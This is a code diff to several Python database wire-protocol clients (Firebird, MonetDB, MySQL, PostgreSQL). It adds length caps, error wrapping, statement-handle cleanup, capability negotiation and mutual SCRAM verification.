from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import recvn
# operation codes # operation codes
_op_connect = 1 _op_connect = 1
@@ -140,6 +144,8 @@ _GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 33554466
_GDS_DATA = frozenset((335544321,)) _GDS_DATA = frozenset((335544321,))
_GDS_WARNING = 335544434 _GDS_WARNING = 335544434
_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a wire-supplied length, to bound a hostile/corrupt stream
# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2) # SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2)
_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE" _SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE"
"BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F" "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F"
@@ -286,18 +292,19 @@ class _Wire(object):
self._rc, self._wc = rc, wc self._rc, self._wc = rc, wc
def send(self, data): def send(self, data):
self._sock.sendall(self._wc.translate(data) if self._wc else data) try:
self._sock.sendall(self._wc.translate(data) if self._wc else data)
except (socket.error, OSError) as ex:
raise connection_lost(ex)
def _recv_raw(self, n): def _recv_raw(self, n):
buf = b"" return recvn(self._sock, n)
while len(buf) < n:
chunk = self._sock.recv(n - len(buf))
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
def recv(self, n, align=False): def recv(self, n, align=False):
# every length here comes off the wire (response buffers, status strings, per-value lengths): a
# negative one would silently return short data, a huge one would read until memory ran out
if n < 0 or n > _MAX_MESSAGE_LENGTH:
raise InterfaceError("invalid Firebird length (%d)" % n)
total = n + ((4 - n % 4) % 4) if align else n total = n + ((4 - n % 4) % 4) if align else n
data = self._recv_raw(total) data = self._recv_raw(total)
if self._rc: if self._rc:
@@ -316,6 +323,38 @@ class _Wire(object):
except Exception: except Exception:
pass pass
def _parse_response(wire):
head = wire.recv(16)
handle = struct.unpack("!i", head[:4])[0]
object_id = head[4:12]
buf = wire.recv(struct.unpack("!i", head[12:16])[0], align=True)
_check_status(wire)
return handle, object_id, buf
def _check_status(wire):
gds, message = set(), ""
n = wire.recv_int()
while n != _isc_arg_end:
if n == _isc_arg_gds:
gds_code = wire.recv_int()
if gds_code:
gds.add(gds_code)
elif n == _isc_arg_number:
message += " %d" % wire.recv_int()
elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state):
s = wire.recv(wire.recv_int(), align=True)
if n != _isc_arg_sql_state:
message += " " + s.decode("utf-8", "replace")
n = wire.recv_int()
if gds:
message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip()
if gds & _GDS_INTEGRITY:
raise IntegrityError(message)
if gds & _GDS_DATA:
raise DataError(message)
if _GDS_WARNING not in gds:
raise OperationalError(message)
def _pack_int(v): def _pack_int(v):
return struct.pack("!i", v) return struct.pack("!i", v)
@@ -341,7 +380,18 @@ def _b2i_signed(b):
return n return n
def _scaled(n, scale): def _scaled(n, scale):
# integer n represents n * 10**scale (scale <= 0); render as an exact decimal string """
integer n represents n * 10**scale (scale <= 0); render as an exact decimal string
>>> _scaled(1234, -2)
'12.34'
>>> _scaled(-5, -2)
'-0.05'
>>> _scaled(5, -4)
'0.0005'
>>> _scaled(7, 0)
'7'
"""
if scale >= 0: if scale >= 0:
return str(n * (10 ** scale)) return str(n * (10 ** scale))
digits = "%0*d" % (-scale + 1, abs(n)) digits = "%0*d" % (-scale + 1, abs(n))
@@ -436,39 +486,7 @@ class Connection(object):
op = self._wire.recv_int() op = self._wire.recv_int()
if op != _op_response: if op != _op_response:
raise OperationalError("unexpected Firebird operation %d" % op) raise OperationalError("unexpected Firebird operation %d" % op)
return self._parse_response() return _parse_response(self._wire)
def _parse_response(self):
head = self._wire.recv(16)
handle = struct.unpack("!i", head[:4])[0]
object_id = head[4:12]
buf = self._wire.recv(struct.unpack("!i", head[12:16])[0], align=True)
self._check_status()
return handle, object_id, buf
def _check_status(self):
gds, message = set(), ""
n = self._wire.recv_int()
while n != _isc_arg_end:
if n == _isc_arg_gds:
gds_code = self._wire.recv_int()
if gds_code:
gds.add(gds_code)
elif n == _isc_arg_number:
message += " %d" % self._wire.recv_int()
elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state):
s = self._wire.recv(self._wire.recv_int(), align=True)
if n != _isc_arg_sql_state:
message += " " + s.decode("utf-8", "replace")
n = self._wire.recv_int()
if gds:
message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip()
if gds & _GDS_INTEGRITY:
raise IntegrityError(message)
if gds & _GDS_DATA:
raise DataError(message)
if _GDS_WARNING not in gds:
raise OperationalError(message)
# ---- query ---- # ---- query ----
@@ -483,23 +501,36 @@ class Connection(object):
self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle)) self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle))
stmt = self._response()[0] stmt = self._response()[0]
desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS try:
self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) + desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS
_pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024)) self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) +
buf = self._response()[2] _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024))
stmt_type, columns = self._parse_describe(stmt, buf) buf = self._response()[2]
stmt_type, columns = self._parse_describe(stmt, buf)
exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) + exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) +
_pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0)) _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0))
self._send(exec_msg) self._send(exec_msg)
self._response() self._response()
description, rows = None, [] description, rows = None, []
if stmt_type == _isc_info_sql_stmt_select and columns: if stmt_type == _isc_info_sql_stmt_select and columns:
description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns] description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns]
rows = self._fetch(stmt, columns) rows = self._fetch(stmt, columns)
self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop)) finally:
self._response() # release the server-side handle even when prepare/execute/fetch raised: a connection that
# survives a few failed statements would otherwise hold every one of them until it detaches
try:
self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop))
self._response()
except Exception:
pass
# dbwire statements are autonomous (see README), but Firebird has no auto-commit mode: everything
# runs inside the one transaction opened at attach. Without this, DML is lost when the caller
# closes the connection without an explicit commit(). commit-retaining makes the work durable and
# keeps the transaction handle valid, so the connection stays usable for the next statement.
self.commit()
return description, rows return description, rows
def _parse_describe(self, stmt, buf): def _parse_describe(self, stmt, buf):
@@ -594,7 +625,7 @@ class Connection(object):
op = self._wire.recv_int() op = self._wire.recv_int()
if op != _op_fetch_response: if op != _op_fetch_response:
if op == _op_response: if op == _op_response:
self._parse_response() _parse_response(self._wire)
raise OperationalError("unexpected Firebird operation %d during fetch" % op) raise OperationalError("unexpected Firebird operation %d during fetch" % op)
status = self._wire.recv_int() status = self._wire.recv_int()
count = self._wire.recv_int() count = self._wire.recv_int()
@@ -726,7 +757,7 @@ def connect(host=None, port=3050, user=None, password=None, database=None, conne
try: try:
sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout) sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout)
sock.settimeout(None) keepalive(sock)
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
@@ -743,6 +774,7 @@ def connect(host=None, port=3050, user=None, password=None, database=None, conne
_authenticate(wire, user, password, public_key, private_key) _authenticate(wire, user, password, public_key, private_key)
connection = Connection(wire, filename, user, password) connection = Connection(wire, filename, user, password)
_attach(connection, wire, user) _attach(connection, wire, user)
handshake_done(sock)
except (DatabaseError, InterfaceError): except (DatabaseError, InterfaceError):
wire.close() wire.close()
raise raise
@@ -766,7 +798,7 @@ def _authenticate(wire, user, password, public_key, private_key):
if op == _op_reject: if op == _op_reject:
raise OperationalError("Firebird connection rejected") raise OperationalError("Firebird connection rejected")
if op == _op_response: if op == _op_response:
Connection(wire, b"", user, password)._parse_response() # will raise the server error _parse_response(wire) # will raise the server error
raise OperationalError("Firebird connection rejected") raise OperationalError("Firebird connection rejected")
wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off) wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off)
@@ -819,7 +851,7 @@ def _read_response(wire, user, password):
raise OperationalError("Firebird authentication failed") raise OperationalError("Firebird authentication failed")
if op != _op_response: if op != _op_response:
raise OperationalError("unexpected Firebird operation %d during login" % op) raise OperationalError("unexpected Firebird operation %d during login" % op)
return Connection(wire, b"", user, password)._parse_response()[2] return _parse_response(wire)[2]
def _attach(connection, wire, user): def _attach(connection, wire, user):
dpb = bytearray([_isc_dpb_version1]) dpb = bytearray([_isc_dpb_version1])
+25 -16
View File
@@ -22,28 +22,29 @@ import struct
from extra.dbwire import InterfaceError from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import connection_lost
from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import recvn
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
_MAX_BLOCK = 0xffff >> 1 _MAX_BLOCK = 0xffff >> 1
_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) response, to bound a hostile/corrupt stream
def _recvn(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
def _getblock(sock): def _getblock(sock):
out = b"" # the block length is a 15-bit field, so bounding IT is pointless - a peer that never sets the last-flag
# simply streams blocks forever. Bound the accumulated response instead (as the other wire modules do).
chunks, total = [], 0
while True: while True:
(header,) = struct.unpack("<H", _recvn(sock, 2)) (header,) = struct.unpack("<H", recvn(sock, 2))
length, last = header >> 1, header & 1 length, last = header >> 1, header & 1
out += _recvn(sock, length) total += length
if total > _MAX_MESSAGE_LENGTH:
raise InterfaceError("backend message too large (%d bytes)" % total)
chunks.append(recvn(sock, length))
if last: if last:
break break
return out.decode("utf-8", "replace") return b"".join(chunks).decode("utf-8", "replace")
def _putblock(sock, text): def _putblock(sock, text):
data = text.encode("utf-8") data = text.encode("utf-8")
@@ -52,7 +53,10 @@ def _putblock(sock, text):
chunk = data[off:off + _MAX_BLOCK] chunk = data[off:off + _MAX_BLOCK]
off += _MAX_BLOCK off += _MAX_BLOCK
last = off >= len(data) last = off >= len(data)
sock.sendall(struct.pack("<H", (len(chunk) << 1) | (1 if last else 0)) + chunk) try:
sock.sendall(struct.pack("<H", (len(chunk) << 1) | (1 if last else 0)) + chunk)
except (socket.error, OSError) as ex:
raise connection_lost(ex)
if last: if last:
break break
@@ -186,7 +190,7 @@ def connect(host=None, port=50000, user=None, password=None, database=None, conn
host, port = host or "localhost", int(port or 50000) host, port = host or "localhost", int(port or 50000)
try: try:
sock = socket.create_connection((host, port), timeout=connect_timeout) sock = socket.create_connection((host, port), timeout=connect_timeout)
sock.settimeout(None) keepalive(sock)
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
@@ -202,7 +206,7 @@ def connect(host=None, port=50000, user=None, password=None, database=None, conn
sock.close() sock.close()
host, port, database = m.group(1), int(m.group(2)), m.group(3) or database host, port, database = m.group(1), int(m.group(2)), m.group(3) or database
sock = socket.create_connection((host, port), timeout=connect_timeout) sock = socket.create_connection((host, port), timeout=connect_timeout)
sock.settimeout(None) keepalive(sock)
continue # merovingian proxy redirect: keep reading the next challenge on this socket continue # merovingian proxy redirect: keep reading the next challenge on this socket
if block[0] == "!": if block[0] == "!":
raise OperationalError("(remote) %s" % block[1:].strip()) raise OperationalError("(remote) %s" % block[1:].strip())
@@ -228,4 +232,9 @@ def connect(host=None, port=50000, user=None, password=None, database=None, conn
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
connection.close() connection.close()
raise OperationalError("connection error: %s" % ex) raise OperationalError("connection error: %s" % ex)
except Exception: # e.g. connection_lost() out of _putblock/_getblock: the socket is still ours to close
connection.close()
raise
handshake_done(sock)
return connection return connection
+46 -28
View File
@@ -22,6 +22,10 @@ from extra.dbwire import DatabaseError
from extra.dbwire import InterfaceError from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import connection_lost
from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import recvn
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
# capability flags # capability flags
@@ -50,6 +54,9 @@ def _xor(a, b):
def _u8(data, off): def _u8(data, off):
return struct.unpack("<B", data[off:off + 1])[0] return struct.unpack("<B", data[off:off + 1])[0]
def _u16(data, off):
return struct.unpack("<H", data[off:off + 2])[0]
def _cstring(data, off): def _cstring(data, off):
# NUL-terminated string, tolerant of a missing terminator (returns the remainder) # NUL-terminated string, tolerant of a missing terminator (returns the remainder)
end = data.find(b"\x00", off) end = data.find(b"\x00", off)
@@ -57,34 +64,28 @@ def _cstring(data, off):
return data[off:], len(data) return data[off:], len(data)
return data[off:end], end + 1 return data[off:end], end + 1
def _recvn(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
def _read_packet(sock): def _read_packet(sock):
header = _recvn(sock, 4) header = recvn(sock, 4)
length = struct.unpack("<I", header[0:3] + b"\x00")[0] length = struct.unpack("<I", header[0:3] + b"\x00")[0]
seq = _u8(header, 3) seq = _u8(header, 3)
payload = _recvn(sock, length) payload = recvn(sock, length)
total = length total = length
while length == 0xffffff: # payload continues in the next packet while length == 0xffffff: # payload continues in the next packet
header = _recvn(sock, 4) header = recvn(sock, 4)
length = struct.unpack("<I", header[0:3] + b"\x00")[0] length = struct.unpack("<I", header[0:3] + b"\x00")[0]
total += length total += length
if total > _MAX_MESSAGE_LENGTH: if total > _MAX_MESSAGE_LENGTH:
raise InterfaceError("backend message too large (%d bytes)" % total) raise InterfaceError("backend message too large (%d bytes)" % total)
payload += _recvn(sock, length) payload += recvn(sock, length)
return seq, payload return seq, payload
def _send_packet(sock, seq, payload): def _send_packet(sock, seq, payload):
while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet) while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet)
chunk = payload[:0xffffff] chunk = payload[:0xffffff]
sock.sendall(struct.pack("<I", len(chunk))[0:3] + struct.pack("<B", seq & 0xff) + chunk) try:
sock.sendall(struct.pack("<I", len(chunk))[0:3] + struct.pack("<B", seq & 0xff) + chunk)
except (socket.error, OSError) as ex:
raise connection_lost(ex)
seq = (seq + 1) & 0xff seq = (seq + 1) & 0xff
payload = payload[0xffffff:] payload = payload[0xffffff:]
if len(chunk) < 0xffffff: if len(chunk) < 0xffffff:
@@ -283,7 +284,7 @@ def _finish_auth(sock, password, plugin, salt):
def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs): def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs):
try: try:
sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout) sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout)
sock.settimeout(None) keepalive(sock)
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
@@ -296,10 +297,10 @@ def connect(host=None, port=3306, user=None, password=None, database=None, conne
_, off = _cstring(payload, off) # server version _, off = _cstring(payload, off) # server version
off += 4 # connection id off += 4 # connection id
salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler) salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler)
off += 2 # capability flags (lower) server_caps = _u16(payload, off); off += 2 # capability flags (lower)
off += 1 # character set off += 1 # character set
off += 2 # status flags off += 2 # status flags
off += 2 # capability flags (upper) server_caps |= _u16(payload, off) << 16; off += 2 # capability flags (upper)
auth_data_len = _u8(payload, off); off += 1 auth_data_len = _u8(payload, off); off += 1
off += 10 # reserved off += 10 # reserved
salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL) salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL)
@@ -315,19 +316,32 @@ def connect(host=None, port=3306, user=None, password=None, database=None, conne
plugin = "mysql_native_password" plugin = "mysql_native_password"
auth_response = _scramble_native(password or "", salt) auth_response = _scramble_native(password or "", salt)
flags = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 | # capabilities are NEGOTIATED: each side advertises what it can do and only the intersection is in
_CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH) # play. Sending a fixed set makes the client claim features a proxy/fork/older server never offered,
# which is how a handshake ends up desynchronized rather than cleanly refused.
if not (server_caps & _CLIENT_PROTOCOL_41):
raise OperationalError("server does not support the 4.1 protocol, which this client requires")
wanted = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 |
_CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH)
if database: if database:
flags |= _CLIENT_CONNECT_WITH_DB wanted |= _CLIENT_CONNECT_WITH_DB
flags = wanted & server_caps
flags |= _CLIENT_PROTOCOL_41 | _CLIENT_SECURE_CONNECTION # mandatory for the packets built below
if database and not (flags & _CLIENT_CONNECT_WITH_DB):
raise OperationalError("server does not support selecting a database during the handshake")
if not (flags & _CLIENT_PLUGIN_AUTH):
plugin = None # pre-4.1.1 style: no trailing plugin name in the handshake response
response = struct.pack("<I", flags) + struct.pack("<I", _MAX_PACKET) + struct.pack("<B", 45) + (b"\x00" * 23) response = struct.pack("<I", flags) + struct.pack("<I", _MAX_PACKET) + struct.pack("<B", 45) + (b"\x00" * 23)
response += (user or "").encode("utf-8") + b"\x00" response += (user or "").encode("utf-8") + b"\x00"
response += struct.pack("<B", len(auth_response)) + auth_response response += struct.pack("<B", len(auth_response)) + auth_response
if database: if database:
response += database.encode("utf-8") + b"\x00" response += database.encode("utf-8") + b"\x00"
response += plugin.encode("ascii") + b"\x00" if plugin:
response += plugin.encode("ascii") + b"\x00"
_send_packet(sock, seq + 1, response) _send_packet(sock, seq + 1, response)
_finish_auth(sock, password or "", plugin, salt) _finish_auth(sock, password or "", plugin or "mysql_native_password", salt)
handshake_done(sock)
except (DatabaseError, InterfaceError): except (DatabaseError, InterfaceError):
_safe_close(sock) _safe_close(sock)
raise raise
@@ -339,12 +353,16 @@ def connect(host=None, port=3306, user=None, password=None, database=None, conne
# SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 = # SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 =
# utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of # utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of
# collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1 # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1
# so DML persists even if the server default is autocommit=0. Both best-effort (one-time, at connect). # so DML persists even if the server default is autocommit=0. Best-effort (one-time, at connect) - but the
for setup in ("SET NAMES utf8mb4", "SET autocommit=1"): # charset has to land on *something*, else rows decode as utf-8 that never was: pre-5.5.3 servers have no
try: # utf8mb4, and 'utf8' (3-byte) is the fallback every 4.1+ server does have.
connection._query(setup) for alternatives in (("SET NAMES utf8mb4", "SET NAMES utf8"), ("SET autocommit=1",)):
except Exception: for setup in alternatives:
pass try:
connection._query(setup)
break
except Exception:
pass
return connection return connection
def _safe_close(sock): def _safe_close(sock):
+44 -20
View File
@@ -28,6 +28,10 @@ from extra.dbwire import IntegrityError
from extra.dbwire import InterfaceError from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import connection_lost
from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import recvn
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
_PROTOCOL_VERSION = 196608 # 3.0 _PROTOCOL_VERSION = 196608 # 3.0
@@ -68,24 +72,18 @@ def _xor(a, b):
return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
return bytes(x ^ y for x, y in zip(a, b)) return bytes(x ^ y for x, y in zip(a, b))
def _recvn(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
def _read_message(sock): def _read_message(sock):
mtype = _recvn(sock, 1) mtype = recvn(sock, 1)
(length,) = struct.unpack("!I", _recvn(sock, 4)) (length,) = struct.unpack("!I", recvn(sock, 4))
if length < 4 or length > _MAX_MESSAGE_LENGTH: if length < 4 or length > _MAX_MESSAGE_LENGTH:
raise InterfaceError("invalid backend message length (%d)" % length) raise InterfaceError("invalid backend message length (%d)" % length)
return mtype, _recvn(sock, length - 4) return mtype, recvn(sock, length - 4)
def _send(sock, mtype, payload): def _send(sock, mtype, payload):
sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload) try:
sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload)
except (socket.error, OSError) as ex:
raise connection_lost(ex)
def _error_message(payload): def _error_message(payload):
# ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte. # ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte.
@@ -226,7 +224,7 @@ class Connection(object):
return description, rows, 0, rowcount return description, rows, 0, rowcount
def _authenticate(sock, user, password): def _authenticate(sock, user, password):
cfirst_bare = None client_nonce = cfirst_bare = salted = auth_message = None
while True: while True:
mtype, payload = _read_message(sock) mtype, payload = _read_message(sock)
if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk
@@ -248,8 +246,8 @@ def _authenticate(sock, user, password):
elif code == 10: # SASL (SCRAM-SHA-256) elif code == 10: # SASL (SCRAM-SHA-256)
if not hasattr(hashlib, "pbkdf2_hmac"): if not hasattr(hashlib, "pbkdf2_hmac"):
raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)") raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)")
nonce = base64.b64encode(os.urandom(18)).decode("ascii") client_nonce = base64.b64encode(os.urandom(18)).decode("ascii")
cfirst_bare = "n=,r=%s" % nonce cfirst_bare = "n=,r=%s" % client_nonce
client_first = "n,," + cfirst_bare client_first = "n,," + cfirst_bare
_send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii")) _send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii"))
elif code == 11: # SASLContinue (server-first) elif code == 11: # SASLContinue (server-first)
@@ -259,6 +257,13 @@ def _authenticate(sock, user, password):
snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"]) snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"])
except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex: except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex:
raise OperationalError("malformed SCRAM server-first message (%s)" % ex) raise OperationalError("malformed SCRAM server-first message (%s)" % ex)
# RFC 5802 5.1: the server nonce MUST start with the client nonce and MUST add material of its
# own. Skipping this lets anything that can answer the TCP connection replay a recorded
# server-first and drive the exchange - and dbwire has no TLS layer underneath to catch it.
if not client_nonce or not snonce.startswith(client_nonce) or len(snonce) <= len(client_nonce):
raise OperationalError("SCRAM server nonce does not extend the client nonce (rogue server?)")
if iterations < 4096: # RFC 5802 recommends >= 4096; a tiny count cheapens an offline attack
raise OperationalError("SCRAM iteration count %d is too low" % iterations)
salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations) salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations)
client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest() client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest()
stored_key = hashlib.sha256(client_key).digest() stored_key = hashlib.sha256(client_key).digest()
@@ -267,8 +272,26 @@ def _authenticate(sock, user, password):
client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest() client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest()
proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii") proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii")
_send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii")) _send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii"))
elif code == 12: # SASLFinal elif code == 12: # SASLFinal (server-final): verify the server too, or the handshake is one-way
pass # Without this the client proves itself to the server and simply trusts whatever answers back.
# ServerSignature = HMAC(ServerKey, AuthMessage) can only be produced by a peer that holds the
# stored credentials, so comparing it is what makes the exchange mutual (RFC 5802 5, 5.1).
if salted is None or auth_message is None:
raise OperationalError("unexpected SCRAM server-final message")
try:
attrs = dict(kv.split("=", 1) for kv in payload[4:].decode("ascii").split(","))
except (ValueError, UnicodeDecodeError) as ex:
raise OperationalError("malformed SCRAM server-final message (%s)" % ex)
if "e" in attrs:
raise OperationalError("SCRAM authentication failed (%s)" % attrs["e"])
try:
signature = base64.b64decode(attrs["v"])
except (KeyError, binascii.Error, ValueError) as ex:
raise OperationalError("malformed SCRAM server signature (%s)" % ex)
server_key = hmac.new(salted, b"Server Key", hashlib.sha256).digest()
expected = hmac.new(server_key, auth_message.encode("ascii"), hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected):
raise OperationalError("SCRAM server signature mismatch (rogue server?)")
else: else:
raise InterfaceError("unsupported authentication request %d" % code) raise InterfaceError("unsupported authentication request %d" % code)
@@ -279,7 +302,7 @@ def _raise_server_error_as_operational(payload):
def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs): def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs):
try: try:
sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout) sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout)
sock.settimeout(None) keepalive(sock)
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
@@ -287,9 +310,9 @@ def connect(host=None, port=5432, user=None, password=None, database=None, conne
for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")): for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")):
params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00" params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00"
params += b"\x00" params += b"\x00"
_send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params)
try: try:
_send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params) # StartupMessage
_authenticate(sock, user, password) _authenticate(sock, user, password)
while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse) while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse)
mtype, payload = _read_message(sock) mtype, payload = _read_message(sock)
@@ -297,6 +320,7 @@ def connect(host=None, port=5432, user=None, password=None, database=None, conne
_raise_server_error_as_operational(payload) _raise_server_error_as_operational(payload)
if mtype == b"Z": if mtype == b"Z":
break break
handshake_done(sock)
except Exception: # any setup failure (DB-API or otherwise) must still close the socket except Exception: # any setup failure (DB-API or otherwise) must still close the socket
try: try:
sock.close() sock.close()
+50 -4
View File
@@ -25,6 +25,7 @@ except ImportError:
